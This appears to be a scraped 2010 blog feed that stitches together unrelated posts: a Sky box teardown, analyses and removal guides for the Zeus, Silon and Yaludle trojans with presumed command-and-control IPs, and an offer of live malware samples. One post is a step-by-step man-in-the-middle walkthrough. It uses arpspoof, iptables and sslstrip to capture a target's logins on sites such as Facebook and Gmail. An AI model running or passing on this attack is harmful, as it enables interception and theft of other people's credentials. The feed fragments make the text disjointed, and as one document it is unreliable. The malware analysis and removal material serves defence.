So, why did I risk voiding my warranty and bricking the brand new box? Well, so that I could transfer all of my old recorded programs from the last box onto the new one, not mission critical, but I had a lot of recorded programs that I still needed to work my way through. I’ll put some guidance on those steps as well, but I would suggest following the FAQ’s on the Copy + page.

Required tools

• A standard electrical screwdriver
• A 2mm / 3mm flat head screwdriver
• Standard flat pliers

Gaining access

Turn the Sky box upside down, ensuring you place the nice new glossy topside on something that isn’t going to snag or scratch it.

Remove the two plastic ‘grills’ on either end. They should just pop off with a light outwards tug. Second photo shows the simple plastic clips that hold them in place.

Pull towards you to remove.

See simple plastic 'retaining clips'

Having removed side grills, there are four screws which need to be removed from the base of the device [ edit ] and one from the rear, just above and to the left of the HDMI port.

Remove four encircled screws.

Again from the underside of the box, lift the retaining clasp and ease the outer box forwards. BE CAREFULL TO KEEP LEVEL, any torquing may damage LEDs or buttons from the front of the device.

Carefully lift clip with a flathead screw driver and ease outer box forwards

You can now remove the remaining side pieces of black plastic, which will have probably fallen off on their own, but are again pushed towards the front of the box to release the ‘L’ retaining clip from the metal case body.

The last piece of the plastic outer body to remove

You should now only have a metal innards of the box now, you can turn this the right way up. CAREFULLY remove the ribbon from the front connection, to the left of the middle black piece.

Carefully remove from retaining port.

If you now look at the box from above you will see four twisted metal retaining clasps, with a set of pliers delicately twist these straight.

Twist each of the encircled items straight with pliers.

You should now be able to lift the lid from the front, gently pivoting it at the rear, before lifting up completely to reveal the compact and surprisingly well organised innards.

The insides that are revealed.

You can now access the SATA port and power for the hard drive in the bottom right hand corner. If using something like Copy +, I would suggest removing these items and connecting new cables from your PC, rather than trying to remove the hard disk (Surely you don’t need more than 1tb anyway….?)

]]> http://25zerotwo.com/blog/2010/06/getting-inside-the-amstrad-drx895-1tb-sky-hd-box/feed/ 8 http://25zerotwo.com/blog/2010/02/zeus-may-be-old-but-he-isnt-afraid-of-change/ http://25zerotwo.com/blog/2010/02/zeus-may-be-old-but-he-isnt-afraid-of-change/#comments Mon, 22 Feb 2010 19:47:36 +0000 Parker http://25zerotwo.com/blog/?p=218 I should really lay my cards on the table at the start of this item. I do not know that this is Zeus, it is currently a working assumption, noting a number of similarities between this new virus and other Zeus samples I have seen.

So first off, what is the same?

• It changes the registry item HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit Inserting a dynamically changing executable, into the key data, to ensure its presence at each boot of the system. In my most recent infection instance, it changes the value data to C:\WINDOWS\system32\userinit.exe,C:\WINDOWS\system32\msicjg32.exe
• It loads the executable and hides it from view, using rootkit techniques.
• It conducts HTML injection attacks
• It is capable of MitB / MitM attacks
• It targets Banking credentials and more than likely other login details, such Paypal & Facebook.

What is new?

• The virus no longer uses the static executable name sdra64.exe. Instead it chooses a pseudo random name at install. I have seen msrwez32.exe | msjrtr32.exe | msicjg32.exe, so it would appear a format msXXXX32.exe is used.
• There is no creation of a c:\windows\system32\lowsec folder. So stolen data and configuration detail is stored somewhere other than usual. This would appear to come from a jpg that can be seen coming in if using packet capture. The file is normally at the C&C domain within a location of /images/arrowred.jpg If have not been able to obtain this file or indeed find anything that could even attempt to decrypt it, but I informed that config details are held within it.
  
• As with all viruses, these processes grab config detail from Command & Control servers. To the best of my ability I believe these sites to be http;//216.119.129.14 and http;//209.172.59.132. With luck these will be offline soon. I have now seen that these files have a list of possible C&Cs and move around as quickly as they are taken offline. Those who need to know of them do, and I do not propose to begin retaining a list here.
  

Antivirus detection rates, as follows;

Product – Version – Update – Virus Alias
a-squared 4.5.0.50 2010.02.22 Worm.Win32.Pushbot!IK
AhnLab-V3 5.0.0.2 2010.02.22 -
AntiVir 8.2.1.172 2010.02.22 TR/Spy.ZBot.afdw
Antiy-AVL 2.0.3.7 2010.02.22 -
Authentium 5.2.0.5 2010.02.22 -
Avast 4.8.1351.0 2010.02.22 Win32:EggDrop-CG
AVG 9.0.0.730 2010.02.22 -
BitDefender 7.2 2010.02.22 Trojan.Generic.3193268
CAT-QuickHeal 10.00 2010.02.22 -
ClamAV 0.96.0.0-git 2010.02.22 Trojan.EggDrop-121
Comodo 4026 2010.02.22 TrojWare.Win32.Spy.Zbot.afdw
DrWeb 5.0.1.12222 2010.02.22 Trojan.DownLoad.35735
eSafe 7.0.17.0 2010.02.22 Win32.EggDrop
eTrust-Vet 35.2.7318 2010.02.22 -
F-Prot 4.5.1.85 2010.02.22 -
F-Secure 9.0.15370.0 2010.02.22 Trojan.Generic.3193268
Fortinet 4.0.14.0 2010.02.21 -
GData 19 2010.02.22 Trojan.Generic.3193268
Ikarus T3.1.1.80.0 2010.02.22 Worm.Win32.Pushbot
Jiangmin 13.0.900 2010.02.22 -
K7AntiVirus 7.10.980 2010.02.22 -
Kaspersky 7.0.0.125 2010.02.22 Trojan-Spy.Win32.Zbot.afdw
McAfee 5900 2010.02.22 -
McAfee+Artemis 5900 2010.02.22 Artemis!1B0138229529
McAfee-GW-Edition 6.8.5 2010.02.22 Heuristic.LooksLike.Trojan.Agent.B
Microsoft 1.5406 2010.02.22 -
NOD32 4888 2010.02.22 probably a variant of Win32/Injector.AXM
Norman 6.04.08 2010.02.22 -
nProtect 2009.1.8.0 2010.02.22 -
Panda 10.0.2.2 2010.02.22 Trj/CI.A
PCTools 7.0.3.5 2010.02.22 -
Prevx 3.0 2010.02.22 High Risk Cloaked Malware
Rising 22.34.01.03 2010.02.11 -
Sophos 4.50.0 2010.02.22 Mal/Resdro-A
Sunbelt 5692 2010.02.22 Trojan.Win32.Generic!BT
Symantec 20091.2.0.41 2010.02.22 Suspicious.Insight
TheHacker 6.5.1.6.205 2010.02.22 -
TrendMicro 9.120.0.1004 2010.02.22 -
VBA32 3.12.12.2 2010.02.22 -
ViRobot 2010.2.22.2196 2010.02.22 -

Removal

I am not yet confident in the exact way in which this malware functions, so I am not confident that the below is an absolute removal process. It does however appear to resolve the issue, so is better than nothing. As soon as I learn more, I will be sure to update.

• Open regedit (normally via Start > Run) and drill down into the HKLM\Software\Microsoft\Windows NT\Current Version\Winlogon\Userinit string and note its value data.
• You will need to kill a thread, loaded into memory, which retains the malicious presence within the Winlogon key, simply deleting the malicious value data is not enough.
• Download and run the ProcessExplorer application from the TechNet website.
• Access View and ensure that Lower Pane view is enabled.
• On the top menu bar, select Find Handle or DLL. Within search type and search for the executable found within the Userinit data value. (msXXXX32.exe)
• This should find and select executable within your Lower Pane. In the top pane, locate and double click on Winlogon.
• From the new Window select the threads tab (this will sometimes produce an error, which can just be clicked past).
• Once the threads have displayed, sort by CSwitch Data. There will be one thread which shows as constantly active (retains a numeric value).
• Once this thread is identified, highlight it and select Kill from the bottom right.
• Exit ProcessExplorer, reopen regedit and drill down onto the Winlogon\Userinit key. Delete the malicious value, from the userinit key data.
• Restart the PC.
• This should have stopped the virus loading at boot, allowing you to locate the executable within C:\windows\system32\. This should be purged from the system.

Many of the ‘articles’ are written whilst I do something else, so attention to detail can sometimes be a little lacking, because of this, I have taken the time to correct and address any spelling, grammar or layout issues that I have found on a re-read. Further to this I have added a bit more meat to the bones on certain articles, such as the Silon and Zeus documents.

Will have a few more goes before I either give up or blame a poor implementation.

Not awe inspiring, but think it looks OK.

So I have been wanting to document this for a while, but have failed to do so. Luckily time and the recent BackTrack4 final release have conspired with me today, so I have been able to do it at last. So, sitting comfortably? Here comes the science bit.

Before you do this, I suggest you have the following installed; SSLStrip and Python. Make sure you also have a Linux distribution (such as BackTrack) and hardware combo that supports ARP injection. Once all of that is in place, you can conduct what is a very simple attack. (For reference I use an Acer Aspire One Z250 and Backtrack 4)

• First enable port forwarding with the following command into a terminal window  echo “1″ > /proc/sys/net/ipv4/ip_forward
• Then define what traffic you wish to capture (always port 80, I would think) and which port you will forward this traffic to. The values in bold should be replaced with the relevant ports iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port <listenPort>

• You must now use that clever man’s python script to start stripping out the SSL, matching the listenPort with that above  python sslstrip.py -l <listenPort>

Having set your machine to pick up, forward and inspect all the traffic from your target machine, we now need to do is ensure that all the traffic from your target machine is routed through your hardware.  We do this with a Man In The Middle attack, placing yourself between the target machine and the network router.
We achieve this with a simple ARP attack, which continues to ‘inform’ the target machine that you are the router, with which it wishes to speak.

• Within a new terminal window (to keep it clean, if nothing else), enter the following, (values in bold should be replaced with relevant values) arpspoof -i <interface> -t <targetIP> <gatewayIP>

Now all you need do is wait, all the target machine’s traffic will route though your machine and their browsing will probably seem slow, but any sites which they visit, who implement poor SSL encryption will be easy prey. The data that is captured will be placed into a .log file and available by opening a new terminal and entering more sslstrip.log (ensuring you are in the SSLStrip directory)

You’ll note that such popular sites as www.facebook.com / www.twitter.com and the “newly secure” www.gmail.com are all easy pickings!

I thank you!

As a very quick synopsis of the risks, this virus is capable of Man In The Browser / Man In The Middle attacks to take place, which will typically go after your banking credentials but as with many banking trojans, it is not against going after your other sensitive info with keylogging.

Anyway, to get rid of it, you need to do as follows;

1. Close all instances of Internet Explorer.
2. Open ProcessExplorer and Regedit.
3. Get the DLL name from the registry key => HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\midi2 and write it somewhere. Should be in the format of 8 hex digits + 1.
4. Use ProcessExplorer to search for that hex value. Locate and close all found handles that have that value (some may be mutex objects). In ProcessExplorer => View => Lower Pane View => Handles (or Ctrl+H) Find => Find Handle or DLL Search the first 4 digit of the file. You get a list of handles that relates to the malware. Close them with ProcessExplorer or handle.exe.

Delete these registry keys:

• HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\midi2
• HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\wave1
• HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\aux2
• HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Drivers32\mixer2
• HKCU\Software\Macromedia\
• HKCU\Software\AppDataLow\Software\Macromedia\
• HKCU\Software\Microsoft\Windows\CurrentVersion\Run\WAB

Delete these files:

• %Appdata%\ Macromedia \Common\
• %Appdata%\Macromedia\Common\
• (8-digit-hex).exe
• %TMP%
• (8-digit-hex).tmp

I also recommend clearing the Temp folders on that machine.

• %Temp%
• %Systemroot%\Temp

Having done all of that, a restart of the machine should load without any malicious Yaludle items present. For peace of mind, you can repeat step 4 of the above to ensure that no handles or other loaded objects still carry that hex value.

Should point out that I learnt what I know from a podcast show called Hak5. Check them out at http://hak5.org (Well worth a look, they often discuss very interesting items that you can play with, learn from at home).

If you are that way inclined, there are a number of samples of most of these on my domain, but clearly only head to these if you know what you are doing. (You will be intentionally infecting your PC with a virus). Further more, be aware that the command & control or script issuing sites will be offline, largely affecting the viruses capacity to do evil, so that others infected in the traditional sense, do not suffer harm.

Zeus

Known capacities

• Html injection
• Communication with C&C
• Man In The Middle / Man In The Browser
• Capacity to engineer two factor beating scenarios
• Receipt of customised javascript pages, to allow engineering of page specific attacks and exploits.

Known file locations / tell tale signs

• Modified registry key HKLM\Software\Microsoft\Windows NT\Current Version\Winlogon\Userinit
  Value Data – C:\Windows\system32\ sdra64.exe.  Should be C:\Windows\system32\userinit.exe,Malicious executable  - C:\Windows\system32\ sdra64.exe
• Config files – Located within C:\Windows\system32\lowsec There will typically be a  user.ds and local.ds file, although sometimes there will be others. These can all be assumed malicious, because the lowsec folder would never exist under normal circumstances.
• The virus also carries with it the capacity to shut down or at least disable some antivirus and firewall programs. Therefore the unexplained ‘switch off’ of your AV may be indicative of an infection.

Removal

I have recorded and made a screen capture video of the removal available below. I learnt by following someone’s video guide, so I would suggest doing the same. I have however also recorded additional steps, for further ease.

• Open regedit (normally via Start > Run) and drill down into the HKLM\Software\Microsoft\Windows NT\Current Version\Winlogon\Userinit string and note its value data.
• Assuming that the sdra64.exe was present in the above key, then you are infected and you will need to kill a thread, loaded into memory, which retains the malicious presence within the Winlogon key.
• Download and run the ProcessExplorer application from the TechNet website.
• Access View and ensure that Lower Pane view is enabled.
• On the top menu bar, select Find Handle or DLL. Within search type and search for sdra64.exe
• This should find and select sdra64.exe within your Lower Pane. In the top pane, locate and double click on Winlogon.
• From the new Window select the threads tab (this will sometimes produce an error which can just be clicked past).
• Once the threads have displayed, sort by CSwitch Data. There will be one thread which shows as constantly active (retains a numeric value).
• Once this thread is identified, highlight it and select Kill from the bottom right.
• Exit ProcessExplorer, reopen regedit and drill down onto the Winlogon\Userinit key. Delete the sdra64 location data (typically this is c:\windows\system32\sdra64.exe)
• Restart the PC.
• This should have stopped the virus loading at boot, allowing you to locate the C:\windows\system32\sdra64.exe and ..\lowsec files (user.ds and local.ds) . All of these should be purged from the system.
  

Zeus Jabber

As the name suggests, this virus is an extension of the Zeus family trojan, so much of its technical ability and its file locations, mirror that of the above. Removal of this virus, is achieved in the same manner as removing the above, Zeus virus.

Known capacities

• Html injection
• Communication with C&C / admin via messenger service
• There is some talk of MitB capacity, but I have yet to see this implemented successfully in the wild (far from proof that it does not retain this ability however).

Known file locations / tell tale signs

• Modified registry key HKLM\Software\Microsoft\Windows NT\Current Version\Winlogon\Userinit
  Value Data – C:\Windows\system32\ sdra64.exe.  Should be C:\Windows\system32\userinit.exe,Malicious executable  - C:\Windows\system32\ sdra64.exe
• Config files – Located within C:\Windows\system32\lowsec There will typically be a  user.ds and local.ds file, although sometimes there will be others. These can all be assumed malicious, because the lowsec folder would never exist under normal circumstances.
• Drops php files into %system%/temp, typically containing credentials obtained in clear text (so a good way to see what data of yours have been stolen). These files should record the malicious servers IP address, so tracking and shutting down the related malicious or hosting servers for shut down is made somewhat easier.
• Packet capture will show a lot of chatter, watch and record this to fathom how and who it is speaking with.
• Config files cannot currently be decrypted by the ZeusDecoder @ ThreatExpert. Expect updates
• The virus also carries with it the capacity to shut down or at least disable some antivirus and firewall programs. Therefore the unexplained ‘switch off’ of your AV may be indicative of an infection.

Removal

See above Zeus removal steps and video.

Silon v2

Known capacities

• Key logging
• HTML Injection
• Man In The Middle / Man In The Browser
• C&C communication
• Capacity to engineer malicious two factor scenarios, allowing for Bank or other secure site security exploitation

Known file locations / tell tale signs

• HKCR\CLSID\{50D5107A-D278-4871-8989-F4CEAAF59CFC}\InProcServer32\Default
• Value data should read c:\windows\system32\msimtf.dll If however a Silon infection has occured, the malicious key data item will instead show a malicious msls50.dll
• The virus will install its config details and C&C information within a newly created registry key. This registry key is created, using system specific values, arranged in a set format. In this instance it obtains your C drive’s serial ID and then applies its format to the 8 digit hex value (excluding the hyphen).  To find your drives serial ID, open a command prompt and type “vol”. This will provide you with the number in the format xxxx-xxxx.
• Open your registry editor and search for a key containing those 8 digits (without the hyphen). You should find a key with these 8 digits and other permutations of those 8 digits. This will contain a ProcServer32 element which itself contains subkeys named 0, 1, 3 & 4. These all contain encrypted data and will look like nonsense, but actually contain the targeted website list and Command & Control server locations.
• The virus will also create two files which it uses to store stolen credentials. To find these navigate to your c:\windows\temp folder, where two files using the drive ID in differing format.

Removal

Despite the viruses obvious technical ability, the removal is incredibly simple. I am working on a quick video to show this graphically, but the below should certainly suffice in the meantime.

• Open regedit and drill down into the HKCR\CLSID\{50D5107A-D278-4871-8989-F4CEAAF59CFC}\InProcServer32\key.
• Open the default key and over type the value data with the correct DLL location namely c:\windows\system32\msimtf.dll
• Restart PC
• Locate and delete malicious DLL from c:\windows\system32 folder. (Sometimes the dll is hidden, so you need to ensure hidden files are visible Tools > Folder Options > View > Show Hidden Files and Folders.
• Delete the registry key named with your C:\ serial
• Delete the located dump files from your hard drive, retained within C:\Windows\temp.

Dropper / installer not yet understood, Re-infection if executed again highly possible.

]]> http://25zerotwo.com/blog/2009/12/recent-viral-goingsons/feed/ 2